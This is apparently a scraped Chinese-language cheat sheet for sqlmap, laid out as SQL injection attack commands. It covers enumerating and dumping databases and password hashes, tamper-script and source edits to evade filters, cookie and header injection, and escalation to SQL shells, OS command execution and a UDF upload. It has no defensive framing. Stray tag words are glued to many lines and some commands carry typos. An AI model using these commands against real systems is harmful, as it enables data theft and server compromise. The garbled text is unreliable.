python2 sqlmap.py -u "[URL_SQL注入點]" [--batch]
--batch
:自動選擇sqlmap默認的選擇python
尋找目標
mysql
python2 sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]" --banner --dbs --users
數據庫操做參數:linux
--dbs
:列舉數據庫信息sql
--current-db
:當前數據庫名shell
--current-user
:當前數據庫用戶數據庫
--users
:列舉DBMS中全部用戶bash
--passwords
:列舉DBMA中全部帳戶和密碼cookie
-D [databases] …
:指定數據庫名,對庫進行操做dom
-T [tables]
:指定數據表,對錶進行操做post
-C [columns]
:指定列名,對列進行操做
--tables
:列舉數據庫表的信息
--columns
:列舉數據表的列名信息
--schema
:枚舉數據庫結構
--count
:枚舉數據包的項目數
-D/-T/-C/--dbs/--tables/--columns/--schema/--count
聯合操做就能夠實現對數據庫的具體操做
#列舉庫中的全部表: -D [庫名] --tables #列舉表中的字段名: -D [庫名] -T [表名] --columns
--dump
:導出數據
--start
:指定開始的行
--stop
:指定結束的行
# 導出當前所有的數據表數據 -D [庫名] -T [表名] -C [字段名] --count --dump # 導出部分(範圍)數據表數據 -D [庫名] -T [表名] -C [字段名] --start {*} --stop {*} --dump
/tamper/halfversionecdmoreckeywords.py:
return match.group().replace(word, "/*!0%s" % word) # 修改 return match.group().replace(word,"/*!50000%s*/" % word)
/xml/queries.xml:
<cast query="CAST(%s AS CHAR)"/> <!--修改--> <cast query="CAST(%s, CHAR)"/>
sqlmap實施注入:
sqlmap.py -u [url] --tamper ./tamper/halfversionecdmoreckeywords.py sqlmap.py -u [url] --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py
value1
爲測試參數,加*符號便可,sqlmap將會測試value1
位置是否能夠注入
當用戶能夠有權限查看用戶密碼的時候,--password
會自動鏈接並破解hash返回結果
--batch --crawl=3
從目標URL爬取網站
sqlmap.py -u [url] --banner --hex -v 3 --parse-errors
--parse-errors
:解析和顯示響應數據庫錯誤信息
sqlmap.py -u [url] --banner --mobile
--mobile
:設定一個移動端的「User-Agent」模仿手機訪問URL
sqlmap.py -u [url] --bath --smart
--smart
:快速判斷 爲報錯注入點進行注入
在Burp——Options——"proxy.Requests"中保存Burp的抓包記錄
sqlmap.py -r burp***.txt
從抓包記錄中加載HTTP請求
sqlmap.py -u [url] --data "[*……*]"
sqlmap.py -u [url] --forms [……]
--forms
:解析和測試目標URL表單
sqlmap.py -u [url] --file [url]
sqlmap.py -u [url] --technique -T --current-user sqlmap.py -u [url] --delay 0.5 sqlmap.py -u [url] --safe-freq # 請求兩次
sqlmap.py -r ***.txt -p [須要注入的參數]
-p
:指定注入參數
默認狀況下,sqlmap只支持get/post參數的注入,使用-level
參數且數值大於等於2就會檢測cookie參數,大概大於3時檢查User-Agent和Referer
sqlmap.py -u [url] --cookie [value] --level 3 sqlmap.py -u [url] --cookie [value] --level 3 --tables sqlmap.py -u [url] --cookie [value] --level 3 -T [表名] --coiumns ……
鏈接並打開一個交互shell
sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]" --sql-shell
上傳lib_mysqludf_sys到plugin目錄
sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]" --file-write=
sqlmap.py -u [url] --os-cmd=[^] #執行cmd命令(Win環境) sqlmap.py -u [url] --os-shell=[^] #創建交互式的shell